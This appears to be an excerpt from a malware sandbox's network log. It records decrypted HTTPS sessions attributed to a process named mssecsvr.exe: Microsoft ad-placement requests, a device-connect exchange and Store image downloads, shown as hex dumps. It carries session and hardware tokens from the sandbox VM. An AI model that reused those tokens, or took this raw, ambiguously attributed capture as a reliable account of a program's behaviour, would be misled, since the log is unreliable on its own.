2022-07-20 17:06:49 UTC	76	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 12 64 49 44 41 54 78 5e ec d4 41 0d 00 20 10 03 b0 1d c1 bf e5 a1 81 e7 25 ad 88 4e db 6c 00 70 f2 0b 40 58 00 c2 02 84 05 20 2c 00 61 01 c2 02 10 16 80 b0 00 61 01 08 0b 40 58 80 b0 00 84 05 08 0b 40 58 00 c2 02 84 05 20 2c 00 61 01 c2 02 10 16 80 b0 00 61 01 08 0b 40 58 80 b0 00 84 05 20 2c 40 58 00 c2 02 10 16 20 2c 00 61 01 08 0b 10 16 80 b0 00 84 05 08 0b 40 58 00 c2 02 84 05 20 2c 40 58 00 c2 02 10 16 20 2c 00 61 01 08 0b 10 16 80 b0 00 84 05 08 0b 40 58 00 c2 02 84 05 20 2c 00 61 01 c2 02 10 16 80 b0 00 61 01 08 0b 40 58 80 b0 00 84 05 20 2c 40 58 00 c2 02 10 16 20 2c 00 61 01 c2 02 10 16 80 b0 00 61 01 08 0b 40 58 80 b0 00 84 05 20 2c 40 58 00 Data Ascii: PNGIHDR,,y}udIDATx^A %Nlp@X ,aa@X@X ,aa@X ,@X ,a@X ,@X ,a@X ,aa@X ,@X ,aa@X ,@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.7	52114	20.40.129.122	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:08:30 UTC	868	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220721T020828Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=bb10510b70a643bcb0ab3b7ede82a7a3&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611723&metered=false&nettype=ethernet&npid=sc-310091&oemName=ouyquf%2C%20Inc.&oemid=ouyquf%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=ouyquf7%2C1&tl=2&tsu=1611723&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6 X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAayV1eLk2ImHS+sR9CWYK81qGrpj1TavkOcrJFH1Zzo/GhR5m7+JWWM9k75XTsFBTQYvWUxFgqXZAV7KPPjRLTR3cIBTZyj3JDheeoj1oHz7xbIob7xSW6y2BFyTfPErzFlJ+baiw1OVNVIjF9qdbkxLKpVHcsoLyBzEG/mS6oUV4aIz+CyfZc4LP+c/UbMaHNrhR+khCbdHyXLmEZYj1D00+qm+vo/nl/CF9rJS6wM49dc+1sKgS/25ELK34NZ8ZFJ7qVupl98VpcBWXtLv7Ek6vSXqI8cjdHfrrTj4GfJRicSgvoAYREQr7yYenDUOfqAOz8fjIdd4kHJ6jZixX4EDZgAACJpo4MeKEMwIqAF21H2ex6DOMgMYujMm9IalQf4XO5Nu/zccBU8Y/JklTLkEzgkX9BolussMf+sCbapYk9jUEzCXIn7jsNPgf/KkESq1KBsgUduQQqESLUupkyFMqM6PGE2PY6YWsTb1kTMdV2fkfgslmfSpyQfbjYEE8ZZq6w6WUgECRGPD9Zjc3YZ+fUrJdYzZ74LQGvojB3ytKah9nZ1MK452Ex38b7UE1eE26poXphlV14pGojf9AHxi18L4y5s1WX765ewD7Td9o1tTMpT/gbA/05MAQfxrv0Mxqi04LfMI7E1jn8prp9lCbLYU2eQ+zT3CsVkUZu9yCZE0ecCrrPvfJN6iizryaxEQOlGMo5MZouJf3p7tKzTAL+fdOCklD+53nOEju0g4PcAMVOczaydCCA9E6sj+iUe3K1XdrEY8XN1gsAaHweHYxK1Xfv9LV3hTqGtDnDlYXs/G6zPrxyyeexefgEvzVJkRcqXeeQWK7se8XtmtVa/5QOKNZ/P1i2zgF5briTpu0uwzM4NcghS+Vsaa8+r29J61dXjz3cluoUSMNSSs734ZF9arOktS1gE=&p= Cache-Control: no-cache MS-CV: AJnaxxmavkaQgil/.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 17:08:30 UTC	870	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 167 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"OPTOUTSTATE":"256"}] X-ARC-SIG: VJhO1IXx31b4o0Q7FWuYln09jsPo+T+IyY9xDPW/p0gyVwkT3aj1TW6wRunLpTR3blyke06hcuptl+OMKgliG8sbjkn3vTPbiIPYDk85lEMzuPA9zqvRNjiHDwtUh00KbB5WzzjVDKGvQq34JmJevB3o2gUyD3u+GxjzizQkvVfF9auq5mhi+Nx7E3KN0L5w+U1oHNuuc9CvJK/U3ju3qneaAMsrg+iVzloSskV0aQFbGC+maK7Yo3Enkxsz7V6JH9mRZng2NIzeVPh2b5pFJZ3Ldu/34nXx+6FNkvcUiSupaoJ4tB5zSAAYd7dvSBWoHbwI2l01SGyLZLbHpnd4Rw== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 17:08:30 GMT Connection: close
2022-07-20 17:08:30 UTC	871	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 2c 22 72 65 66 72 65 73 68 74 69 6d 65 22 3a 22 32 30 32 32 2d 30 37 2d 32 30 54 32 31 3a 30 38 3a 33 30 22 7d 7d Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}],"refreshtime":"2022-07-20T21:08:30"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.7	52462	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:08:39 UTC	871	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 36 66 33 30 35 37 36 65 66 33 66 64 65 62 61 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 96f30576ef3fdeba
2022-07-20 17:08:39 UTC	871	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 17:08:39 UTC	871	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 36 66 33 30 35 37 36 65 66 33 66 64 65 62 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 57 65 75 61 42 4a 41 6d 72 51 41 6b 70 4b 75 57 56 42 35 6f 62 41 69 75 4a 4d 4e 66 69 63 78 54 59 51 45 62 71 44 32 36 4f 4b 4f 64 6a 79 64 56 44 34 72 4b 37 4c 4e 6a 59 62 65 70 53 4f 38 41 58 31 7a 39 56 51 49 44 69 54 67 37 74 37 5a 41 58 56 62 7a 71 53 49 2f 32 6c 73 4d 34 36 53 6b 61 4d 36 69 34 77 6f 68 30 72 53 38 6f 67 6b 6d 6c 48 61 47 33 39 57 4c 34 70 33 66 43 76 31 58 5a 41 77 59 31 2f 4e 6b Data Ascii: ATH 2 CON\DEVICE 1014Context: 96f30576ef3fdeba<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAWeuaBJAmrQAkpKuWVB5obAiuJMNficxTYQEbqD26OKOdjydVD4rK7LNjYbepSO8AX1z9VQIDiTg7t7ZAXVbzqSI/2lsM46SkaM6i4woh0rS8ogkmlHaG39WL4p3fCv1XZAwY1/Nk
2022-07-20 17:08:39 UTC	872	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 36 66 33 30 35 37 36 65 66 33 66 64 65 62 61 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: 96f30576ef3fdeba
2022-07-20 17:08:39 UTC	872	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 17:08:39 UTC	872	IN	Data Raw: 4d 53 2d 43 56 3a 20 59 46 70 72 45 64 66 57 51 30 53 4c 43 4a 5a 64 74 76 48 73 4b 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: YFprEdfWQ0SLCJZdtvHsKg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.7	52566	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:08:41 UTC	872	OUT	GET /image/apps.62687.13510798885854323.6a8c11ad-84e9-4247-9ba9-ab3742bdbb87.e61dfadd-3bdd-4f66-beb1-6bb763b60b02?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 17:08:41 UTC	872	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 142254 Content-Type: image/png Last-Modified: Mon, 10 Jun 2019 11:14:58 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDZFRDk0REZGNkE2RjM" MS-CV: 3ZtNXbGcZUui37wn.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 17:08:41 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 17:08:41 UTC	873	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 0e 00 00 01 0e 08 02 00 00 00 f7 d3 6e f2 00 00 00 09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 0a 4f 69 43 43 50 50 68 6f 74 6f 73 68 6f 70 20 49 43 43 20 70 72 6f 66 69 6c 65 00 00 78 da 9d 53 67 54 53 e9 16 3d f7 de f4 42 4b 88 80 94 4b 6f 52 15 08 20 52 42 8b 80 14 91 26 2a 21 09 10 4a 88 21 a1 d9 15 51 c1 11 45 45 04 1b c8 a0 88 03 8e 8e 80 8c 15 51 2c 0c 8a 0a d8 07 e4 21 a2 8e 83 a3 88 8a ca fb e1 7b a3 6b d6 bc f7 e6 cd fe b5 d7 3e e7 ac f3 9d b3 cf 07 c0 08 0c 96 48 33 51 35 80 0c a9 42 1e 11 e0 83 c7 c4 c6 e1 e4 2e 40 81 0a 24 70 00 10 08 b3 64 21 73 fd 23 01 00 f8 7e 3c 3c 2b 22 c0 07 be 00 01 78 d3 0b 08 00 c0 4d 9b c0 30 1c 87 ff 0f ea 42 99 5c 01 80 84 01 c0 74 91 38 4b Data Ascii: PNGIHDRnpHYs.#.#x?vOiCCPPhotoshop ICC profilexSgTS=BKKoR RB&*!J!QEEQ,!{k>H3Q5B.@$pd!s#~<<+"xM0B\t8K
2022-07-20 17:08:41 UTC	888	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
2022-07-20 17:08:41 UTC	904	IN	Data Raw: 98 24 56 a1 ef 59 0b 49 aa 90 61 10 04 0c a1 d3 e9 65 be 2f 70 a5 31 56 29 5d ad 55 84 14 48 44 d6 26 49 0a 44 5c 0a d7 f1 2a 41 b8 b9 dd 22 ab 1d 29 3b dd de fc c2 5c 18 06 2f bd 74 5a 30 b4 d6 0a e9 70 c6 06 83 01 08 21 18 1d 99 72 1b ae f4 99 f5 24 33 8c 47 16 99 22 96 25 87 c6 12 59 6e ed e1 49 ff f0 84 f7 3d 47 27 ae b5 a2 33 ab fd 97 56 3a 67 d7 07 db fd f4 56 fa 07 13 7c 6a b2 2e 1d 71 fd c6 7a bf 1f 51 21 08 2f 39 73 90 75 06 f1 20 89 03 57 02 00 43 71 f1 ea cd 41 92 86 be cf 48 45 91 dd d8 6e f7 e3 78 b2 16 00 19 ce a0 d5 e9 6d b6 da 3f ff f0 ac 26 b3 36 80 25 6b d6 d7 d6 6f 5c bf ae b5 56 2a dd da de 52 49 8a 88 83 c1 60 d0 ef 75 da 3b 4a 93 49 95 ef 88 9d 5e 6c 81 b4 d6 2a 55 9d 6e 27 8e e3 7a bd a1 b5 01 20 5e 4c aa e4 5c 64 a3 2b a6 67 e6 24 Data Ascii: $VYIae/p1V)]UHD&ID\A");\/tZ0p!r$3G"%YnI=G'3V:gV\|j.qzQ!/9su WCqAHEnxm?&6%ko\VRI`u;JI^l*Un'z ^L\d+g$
2022-07-20 17:08:41 UTC	906	IN	Data Raw: 8e 83 52 40 a1 e0 41 da 90 4a b2 99 79 2e c7 b9 5a c5 0f bc 14 78 5f 43 37 b6 8e 14 13 b5 60 69 61 52 2b bd b6 dd de d8 6c c5 51 5c af 85 d5 66 4d a7 09 43 ac d5 e5 f2 1e f6 e0 71 8c 12 bd d5 49 2e ac 75 6f 6c f7 8f cf f8 4d 5f de 1c d8 b7 1c 99 ba b4 d1 bf d9 8e 57 37 77 00 e0 8e 99 f0 03 f7 ce 9d bc d9 3d 75 b3 e7 fb 3e 00 ad 6c b4 97 67 82 7f f9 b7 1f 98 6c 04 17 b6 36 3b b1 8e 35 4a 97 6b ad 77 da dd 24 55 81 1f 0e a2 48 6b 25 a5 34 26 1b f5 a7 ad 25 6d 0c 2a 32 84 46 53 92 c6 c6 e8 5e b7 e3 38 ae 10 b2 db ed 6a a5 8d b5 04 94 24 49 1c c7 b5 5a 6d d0 ef ed 3f 78 c4 97 a0 e3 b1 5a ca 6e 4a d2 6b 97 23 6f ff e2 ed 9a c0 4a 75 c9 dd a9 7c 99 50 b8 8b b0 3c a6 ea 82 63 9e 84 0d 9b c3 4a 61 5b 6e 1b 58 2e 41 92 b1 79 ce 6d 33 78 97 03 23 60 36 37 ad dc 3c Data Ascii: R@AJy.Zx_C7`iaR+lQ\fMCqI.uolM_W7w=u>lgl6;5Jkw$UHk%4&%m*2FS^8j$IZm?xZnJk#oJu\|P<cJa[nX.Aym3x#`67<
2022-07-20 17:08:41 UTC	922	IN	Data Raw: fa 6a 27 e9 58 03 e7 34 b0 06 68 50 93 a6 20 56 51 65 6a 27 06 9c 3b ef 25 04 0a 30 36 61 96 a0 aa ea 00 9e 32 b2 39 1e 88 6d 0b dc 2f 96 56 d6 9f b8 f0 fe 9b d7 83 68 c6 24 44 4c 7a 48 f4 6a 5a 00 45 00 02 69 0c eb 0a 22 26 b7 d9 62 7b 36 0b e3 ad 71 c2 52 e4 96 1b 55 a4 2a 98 94 11 44 34 10 02 21 08 82 68 68 08 5e e2 29 6f 07 20 80 c2 9d ab 1a 42 a8 cb de c9 b3 59 bb f3 d0 62 b1 75 c0 2f 6d d6 c6 70 33 5f 12 8d a9 15 7a 74 56 ee 0a 30 d2 43 2c e6 3c 83 49 61 1b 33 17 0e 33 ce 1b 0d 9f 73 4e 45 c8 18 c3 cd 5e 86 99 54 e0 bd 87 c6 63 83 78 c6 d8 34 e8 96 10 fc 62 2b 6d a5 7c f7 80 4b 71 97 fc 26 9e 18 55 0d a2 22 1a 82 b2 51 e2 08 61 26 51 41 88 9d dc dc d6 ab 77 6d 5f 0e 07 7f 74 c4 f2 92 79 5d 1b 15 b8 12 48 05 9a 82 18 96 90 e4 e0 1c 1a a2 82 a5 99 77 Data Ascii: j'X4hP VQej';%06a29m/Vh$DLzHjZEi"&b{6qRU*D4!hh^)o BYbu/mp3_ztV0C,<Ia33sNE^Tcx4b+m\|Kq&U"Qa&QAwm_ty]Hw
2022-07-20 17:08:41 UTC	934	IN	Data Raw: a1 6c d8 4e 43 b0 12 7e e8 de 64 b5 3d fa d6 2b 3c 9b 2d fe c0 0f 26 9f fc 5c 3d 1a b8 8d 5b 3c 18 e0 e6 0d 37 1a 4e 27 b3 e9 d6 f6 74 6b bb 9c 56 0e b0 40 ef c4 6a ff c9 fb 57 7e e8 c3 8b 1f bd df f6 33 37 1c f8 dd 99 36 dd be 77 ae d2 e0 ab c1 c1 5b 2f bd fa b7 bf 76 e9 3b b7 6a 00 dd 5e 97 99 76 77 07 69 9a 1a c3 d3 89 e3 34 5b 6f 49 2f a5 a0 0c 8a b9 2d b1 dc 8b e0 22 d5 20 5a 4f 65 74 87 d9 2a 8b c6 38 21 6d f8 67 94 b4 61 ac fa 0a c4 1c 43 82 1b c3 0c 35 a6 f9 e0 29 cd f4 e0 75 f8 09 ad 3c a5 9c 13 29 19 0b 4e e7 d9 52 02 b6 e0 04 50 b8 09 c2 0c d5 16 c4 c3 58 22 85 04 b0 c2 30 84 41 99 06 07 32 c8 5a 08 53 f8 0a 9c 80 69 6b 73 44 ab 8f 64 eb 0f 13 82 c9 5f 0d ee 40 17 2e 6a fa dd 83 1b ef 4e b6 af b4 57 16 83 93 e9 e6 8d 9c 7d ab 53 90 77 60 03 28 Data Ascii: lNC~d=+<-&\=[<7N'tkV@jW~376w[/v;j^vwi4[oI/-" ZOet*8!mgaC5)u<)NRPX"0A2ZSiksDd_@.jNW}Sw`(
2022-07-20 17:08:41 UTC	950	IN	Data Raw: 3b 0e 8f 1e a9 5d e6 ea e4 48 bd 8d 25 b0 b2 86 d6 13 16 e7 93 ca 91 72 a2 2a c2 41 3d 07 92 00 38 5f 33 85 ea f6 e6 de 1b 57 b7 0c 82 05 48 54 99 e8 ce 20 78 6e 98 8e ed de 8b a5 31 10 30 6c 92 5f bc 7c 71 eb ca d5 a7 1e 7c 68 61 fd d8 be c8 d6 5f 3d 7f e3 89 c7 6f fd 4f ff 34 fb cc 67 97 41 45 f0 5f d9 b8 7d 7a 34 ba 6b 75 b5 d3 e9 16 65 69 99 1f 39 71 b2 0c fe b5 bd dd 62 c3 9f ad aa 63 c7 4f dc 7b ea d4 c5 da b9 e9 d4 95 05 03 db 1f fe ed d9 ab 6f 4c af 5c d9 77 d2 3f 3c a8 8a e1 cd ba b0 a9 b1 eb 7d 3e b6 30 ea a4 b6 d3 3d 75 ef 7d 57 3f fc 1b bb 9f f9 e2 c3 9d de c2 d2 f2 8d dd dd ab c3 7d 01 d6 07 8b 67 d7 d6 8c b1 d7 76 77 77 86 a3 4e 9e 1d 5b 5a ea 67 39 a0 d7 c7 a3 57 f6 f7 72 a4 f7 f7 8f 3d f4 2e dc ff c7 8b 13 0f 98 7c 65 01 59 0a 4a 21 16 81 Data Ascii: ;]H%r*A=8_3WHT xn10l_\|q\|ha_=oO4gAE_}z4kuei9qbcO{oL\w?<}>0=u}W?}gvwwN[Zg9Wr=.\|eYJ!
2022-07-20 17:08:41 UTC	966	IN	Data Raw: c8 a7 ef a2 b5 75 bc ff bd b8 fb 2e 3c f3 0c 5e 7e 05 93 a9 5a 83 4e 6e 96 96 fa c6 f4 7b fd ea f0 60 34 1c ed 17 d3 51 39 1d bf 5a e9 9b 63 c9 3a 49 b2 db a1 3d 37 a2 24 4f 7c c7 8d ae 14 d5 e4 c0 be ef 09 4a fa ba 31 a4 de 59 77 ed 16 16 57 55 ab b0 b7 0b e6 3c 31 36 48 f0 ea bc af 67 f5 6c 7b 72 f3 e5 bd e9 f1 ee e2 4a 96 80 4d d2 e9 2d f7 17 d7 d0 5f 2e f3 94 6c 96 90 b1 06 6a a1 6c 18 56 89 63 de eb dc 0e 43 31 03 cf 15 75 31 2a cb 61 55 4e eb 50 07 b2 94 a4 26 c9 ad 49 a8 31 35 73 14 4a 89 88 06 27 ae 0c ae f2 c1 2b a0 4c 88 78 32 af c1 8c b4 b3 81 72 8c 4b 86 6f b2 0d aa 95 a3 b1 e3 a1 37 85 10 1c 6f af 57 d7 7b c1 78 74 e2 37 5b c1 0c 9b 21 ef a2 bf c8 44 5a cf 14 be 69 e2 89 40 06 24 77 24 a3 09 1a fd aa c7 e2 31 54 33 20 a0 6f 31 30 aa 0a cb e8 Data Ascii: u.<^~ZNn{`4Q9Zc:I=7$O\|J1YwWU<16Hgl{rJM-_.ljlVcC1u1*aUNP&I15sJ'+Lx2rKo7oW{xt7[!DZi@$w$1T3 o10
2022-07-20 17:08:41 UTC	974	IN	Data Raw: 5d 6b 8c 9e 8a 64 09 3a 5a 78 0b 28 f6 21 42 f0 11 83 02 aa 99 5c 7b 9f 78 cf c1 93 eb 85 e9 43 e5 e8 81 c2 ad 7a 04 f0 3e 4c 02 9b c2 da 36 43 a2 4d 3b 89 2a 2f c3 48 73 b6 26 a9 8b 50 cd 7c 5d 22 cd 23 f6 8e f3 2c 4b 73 52 68 d6 47 da 83 02 b7 2e e2 e4 83 38 fb 08 6e bd 01 6b 91 e7 18 0c b0 d8 13 dd 28 ab 11 1b a3 27 68 30 b2 e5 4d 2e 53 c6 e1 18 5b 07 38 b5 06 22 38 07 55 18 83 51 65 ea 3a b5 1c 88 d8 da ac 73 7b 7b 67 6f 7f 2f cb d3 b5 f5 35 c3 ac ce 0b 71 8b dd 50 cf 54 c3 27 81 43 90 ab 37 6f dc 7b cf 85 2a f8 3a d4 31 72 8f 00 11 15 09 2a 2a 21 04 11 e7 3d 98 3b eb eb d3 c9 58 43 b0 44 22 52 0f 47 0b 3e 24 5d 13 8e b4 08 1a a0 d1 5e e2 5c 3d 1e 8e cb a2 10 11 66 0e 21 7c cd 09 39 da d6 1f 61 2f d4 18 d3 e9 74 38 ba d7 a0 5f 83 ef 23 6a 69 d2 4d cc Data Ascii: ]kd:Zx(!B\{xCz>L6CM;/Hs&P\|]"#,KsRhG.8nk('h0M.S[8"8UQe:s{{go/5qPT'C7o{:1r**!=;XCD"RG>$]^\=f!\|9a/t8_#jiM
2022-07-20 17:08:41 UTC	990	IN	Data Raw: aa 42 29 5a 25 84 64 88 0d a8 51 51 63 a0 ac 6a 34 b1 24 ad 6a 82 da 13 8e 4f 44 04 61 86 44 d9 5f cc 6e 3c 7e f0 c6 6b af ef ec 9e 5e df d9 8e 22 75 55 1d 3f d9 5b 4c a6 31 c4 2c cf 5c e6 ac cb 54 55 88 06 c3 a1 eb 95 fb 0f 1f 5d 7f ed f5 f7 af 7f 28 4d f5 6b 9f 38 f3 57 be fc fc 97 3e 76 71 e7 d4 b6 19 0c 91 15 20 0b 90 08 a2 68 94 13 d7 3c 26 fb 8c ce 9e 56 74 fc 8e 34 99 58 2a 51 63 5c 51 8f 7d 17 1b 2d 31 c5 52 51 ca d7 65 43 9c 22 2e 53 2b 4d 87 d9 10 7d 1b 9a da d7 b5 b6 cd 8d 77 de 69 fb 67 2e bc f4 f9 d6 07 62 c7 36 66 85 18 83 dc db 98 3b 9f 67 45 66 cb e5 b2 74 a6 f7 f2 27 f7 c7 6b b3 1b 6f 1e ce a7 69 93 e6 95 49 85 81 3a a7 86 89 1d 75 49 24 82 74 ef 44 66 94 35 b6 1e 42 41 74 7e b4 e0 3c 03 f8 5c e1 fe ea cf 6f fd d4 a7 36 7f ef 3b 7b df 7c Data Ascii: B)Z%dQQcj4$jODaD_n<~k^"uU?[L1,\TU](Mk8W>vq h<&Vt4X*Qc\Q}-1RQeC".S+M}wig.b6f;gEft'koiI:uI$tDf5BAt~<\o6;{\|
2022-07-20 17:08:41 UTC	998	IN	Data Raw: 78 49 2f cd 20 31 36 12 42 f4 6d f0 41 62 d4 36 6a dd a2 0a 58 b6 a8 3c 9a 80 65 83 65 83 a0 d0 22 2f 2e 5e 59 bb f4 b1 fe b9 e7 07 9b a7 47 83 7e 2f b7 f9 ea 47 96 e5 d6 39 63 1d b3 21 36 9d 5e 37 75 95 84 d7 a7 a3 44 ca 24 0d d1 7b ef db ce 6b 2e 86 28 01 59 56 9e 3d 7b fe dc b9 73 59 e6 44 7e 62 45 3e 59 94 55 35 c6 d8 b6 5e c4 bf f3 fe dd 3f fe f6 87 ce 59 66 0b 62 fb e8 e8 c0 b1 29 b2 2c 77 59 66 ac 61 8e 21 32 b5 de 18 ef 33 6b 9d b5 c6 59 97 7e 65 bb e0 77 63 d9 58 63 c8 b0 0f de a4 77 85 08 11 c5 10 53 ab d0 14 51 4f 12 45 10 23 07 56 95 10 22 a9 5a e8 6a 45 39 f9 e2 82 84 20 2b 13 47 e2 48 c4 5d 5a dc d3 84 17 7d 86 1a cd 38 09 43 25 26 63 d9 75 df ba 93 b8 b1 66 ce 03 63 5e fe c4 c7 de fe f1 5b 1f 7d 33 9c f9 ec 9f 11 ce 1e de bd dd b6 7e f7 fc Data Ascii: xI/ 16BmAb6jX<ee"/.^YG~/G9c!6^7uD${k.(YV={sYD~bE>YU5^?Yfb),wYfa!23kY~ewcXcwSQOE#V"ZjE9 +GH]Z}8C%&cufc^[}3~

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.7	52568	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:08:41 UTC	1012	OUT	GET /image/apps.64125.13510798886747090.492cc081-9f95-48fd-b532-eba9c10ac577.9bc20b6e-b23e-440d-a57d-43a19d3c51a5?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
